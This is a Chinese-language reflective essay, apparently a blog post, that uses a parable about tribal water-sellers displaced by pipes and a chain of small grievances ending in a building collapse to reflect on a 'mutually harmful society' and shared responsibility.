毕竟,每个打猎回来的傍晚,打猎的人实在很累,也确实不想再亲自去渠边,拎那么一捅水回来。

他更愿意,拿自己多分到的一只野兔,去和住在沟渠边的人换一桶水。

这样看起来,整个部落的协作,反而变得更高效了。

卖水本身合情合理,也不是什么坏事,反而是一种善举。

这世界本就是这样,很多事情的发生,都有一个善良的初衷。

这件善良的事情,一致这样延续着,年复一年。

直到过了很多年,部落里有了一个聪明人,他居然用木材做成管道,可以更方便地引导水的流动。

一开始部落里的人只是以为可以多一种运输材料。

可是谁知道,有一天,一个原始人居然跳出来说,既然我们可以做成这么方便的管子了,为什么我们不把水供应到部落的每个居民家中呢?

这样,我们就可以不需要从沟渠里取水了!

猎人很开心,他送给这个提建议的伙伴一头野猪,感谢他提出这么具有建设性的思路。

但有一些人,他们不开心了。那就是原本住在沟渠边卖水的人。

这么些年,他们早已经忘记了怎么打猎,甚至,他们当中有的已经开始刻意逃避打猎了。

他们只知道怎么高效地取水、换野兔。

使用管道供水,就意味着,部落抛弃了他们。

管道,可以让猎人不用拿野兔换就可以喝到水,虽然猎人们同样需要用野兔去换一根可以供水的管道。

但却让渠边的人的生活,发生很大的变化。

提议用管道供水的人,他有错吗?他只是一个颠覆者。

发明管道的人,他呢,有错吗?他只是热爱发明。

猎人有错吗?他只是不想再用野兔换水。

在沟渠边卖水的人,有错吗?他只是在用劳动为别人提供方便。

没有谁有错,只是环境需要演变,部落必然要向着更高效的层次转变。

守旧者害怕改变,固执坚守。

颠覆者陷入困局,遇到阻力。

听说在有的部落,甚至因为这些,在内部起了冲突。好在这个部落没有。

最后,事情怎么样了呢?

部落开会决定把供水管道的建设和维护工作交给这些只会卖水的部落居民,让他们继续发扬奉献精神,为部落提供方便。

事情顺利推进了。

一个互害型社会,谁也逃不掉,谁也躲不开。正如雪崩时,没有一片雪花是无辜的。
希望此文可以引起我们共同的反思。

每天披星戴月地上班,走过熙熙攘攘的人群。

可曾想过,这一切繁荣与庸碌,是谁的宏观设计?

你收到的需求,你交付的方案,是谁在帷幄运筹?

今天下了雨,早上你过马路时,匆匆踩了脚油门,溅起的雨水淋湿了一位路人。

路人十分郁闷,带着糟糕的心情草草应付了上司催促的图纸 – 他是一位建筑师。

若干年以后,在你经过最多的路口多了一栋很丑的楼。

你觉得看起来无比别扭,别扭到甚至影响你的心情。

可谁能想到这楼之所以别扭,起因竟是那天飞溅的雨水?

那天的建筑师因为心情不好,还骂了手下的工人几句。

工人感到很不平衡。自那以后,他手里的螺丝,就从没拧紧过。

他心里想,反正建好的楼,最后也轮不到自己住。先倒霉的也是别人。

后来楼真的倒了,一次惨烈的事故。

一个在事故中失去亲人的受害者疯了,去校园里施暴。

保安眼睁睁看着孩子们受到伤害,不敢上前。

他心里想,反正受害的不是自己的孩子 – 更何况,他因为买不起那倒掉的楼,根本没有老婆。

你在广播里听说了这件事,庆幸还好自己的孩子不在这座校园。

庆幸的同时,更加用力地踩了脚油门,并没有感觉到,这又是一个雨天。

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×